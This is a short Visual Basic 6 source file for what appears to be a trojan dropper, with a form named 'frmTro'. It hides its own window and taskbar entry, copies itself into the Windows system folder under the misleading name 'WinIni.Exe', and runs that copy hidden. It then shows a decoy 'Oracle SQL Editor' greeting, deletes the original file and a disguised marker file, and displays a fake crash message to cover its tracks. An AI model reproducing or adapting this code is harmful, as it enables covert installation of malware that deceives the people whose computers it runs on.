'frmTro
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Private Sub Form_Load()
On Error Resume Next
Dim z
Me.Visible = False
z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
If z <> 1 Then
Call Create
Else
Call Killing
End If
App.TaskVisible = False 'Ocultar en la barra de tareas.
End Sub
Sub Create()
On Error Resume Next
Dim m
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"
FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"
m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)
AppActivate m
Unload Me
End Sub
Sub Killing()
On Error Resume Next
Dim ret As String, NC As Long
ret = String(255, 0)
NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")
If NC <> 0 Then
ret = Left$(ret, NC)
Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
Kill (ret)
Kill (App.Path & "\WinIni.ocx")
Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
End If
End Sub